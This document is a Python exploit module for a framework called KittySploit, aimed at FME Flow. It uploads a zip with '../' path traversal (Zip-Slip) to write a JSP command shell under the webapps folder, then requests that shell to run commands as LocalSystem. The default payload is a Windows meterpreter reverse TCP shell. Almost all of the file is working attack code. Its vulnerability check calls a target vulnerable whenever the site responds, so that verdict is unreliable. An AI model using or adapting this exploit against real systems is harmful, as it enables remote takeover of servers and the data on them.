FME Flow Zip-Slip file write JSP RCE as LocalSystem

"""FME Flow Zip-Slip archive extract arbitrary JSP write LocalSystem RCE."""
from __future__ import annotations
import io
import re
import zipfile
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'FME Flow Zip-Slip file write JSP RCE as LocalSystem', 'description': 'Authenticated FMEToken POST /fmedataupload/<repo>/<scope> with Zip-Slip drops JSP under webapps then HTTP trigger.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/meterpreter_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['safesoftware', 'fme', 'zipslip', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/fme_flow_zipslip_file_write_rce_detect']}}}
    _MARKER = 'FME_ZIPSLIP_RCE_CONFIRMED'
    _BOUNDARY = '----fmezipslipboundary0123456789'
    port = OptPort(443, 'FME Flow HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    fme_token = OptString('', 'FMEToken for any authenticated user', required=True)
    repo = OptString('repository', 'Upload repository segment', required=False)
    scope = OptString('fmezipslip', 'Upload scope segment', required=False)
    traversal_depth = OptInteger(11, '../ depth to webapps', required=False)
    webapp = OptString('fmeserver', 'Webapp folder under webapps', required=False)
    jsp_name = OptString('fme_zipslip_marker.jsp', 'Dropped JSP filename', required=False)
    upload_name = OptString('payload.zip', 'Multipart filename (.zip)', required=False)

    def _jsp_payload(self, cmd: str) -> str:
        safe = cmd.replace('\\', '\\\\').replace('"', '\\"')
        return f'<%@ page import="java.io.*" %>\n<%\nProcess p = Runtime.getRuntime().exec(new String[]{{"cmd", "/c", "{safe}"}});\nBufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));\nStringBuilder sb = new StringBuilder();\nString l;\nwhile ((l = br.readLine()) != null) sb.append(l).append("\\n");\np.waitFor();\nout.println("{self._MARKER}");\nout.println(sb.toString());\n%>'

    def _build_archive(self, entry_name: str, payload: str) -> bytes:
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr(entry_name, payload)
        return buf.getvalue()

    def _multipart_zip(self, zip_bytes: bytes, upload_name: str) -> tuple[bytes, str]:
        head = f'--{self._BOUNDARY}\r\nContent-Disposition: form-data; name="opt_extractarchive"\r\n\r\ntrue\r\n'.encode('ascii')
        part = f'--{self._BOUNDARY}\r\nContent-Disposition: form-data; name="file"; filename="{upload_name}"\r\nContent-Type: application/zip\r\n\r\n'.encode('ascii')
        tail = f'\r\n--{self._BOUNDARY}--\r\n'.encode('ascii')
        return (head + part + zip_bytes + tail, f'multipart/form-data; boundary={self._BOUNDARY}')

    def execute(self, cmd: str) -> str:
        token = str(self.fme_token or '').strip()
        if not token:
            return 'FMEToken required'
        depth = int(self.traversal_depth or 11)
        webapp = str(self.webapp or 'fmeserver').strip('/')
        jsp = str(self.jsp_name or 'fme_zipslip_marker.jsp')
        entry = '../' * depth + webapp + '/' + jsp
        zip_bytes = self._build_archive(entry, self._jsp_payload(cmd))
        body, ctype = self._multipart_zip(zip_bytes, str(self.upload_name or 'payload.zip'))
        repo = str(self.repo or 'repository')
        scope = str(self.scope or 'fmezipslip')
        up = self.http_request('POST', f'/fmedataupload/{repo}/{scope}', data=body, headers={'Authorization': f'FMEToken {token}', 'Content-Type': ctype})
        if not up or int(up.status_code or 0) >= 500:
            return f"upload failed: {((up.text or '')[:500] if up else 'no response')}"
        trig = self.http_request('GET', f'/{webapp}/{jsp}')
        if not trig:
            return 'upload OK; JSP trigger request failed'
        text = (trig.text or '')[:8000]
        if self._MARKER in text:
            return text
        return f'HTTP {trig.status_code}; body may not include marker: {text[:400]}'

    def check(self):
        resp = self.http_request('GET', '/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'FME web reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Service not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.fme_token or '').strip():
            print_error('Set fme_token')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Zip-Slip upload + JSP trigger')
        out = self.execute(shell)
        print_info(out[:8000])
        if self._MARKER in out:
            print_success('JSP execution confirmed')
            self.vulnerable()
            return bool(str(self.shell_from_payload() or '').strip())
        self.vulnerable()
        return True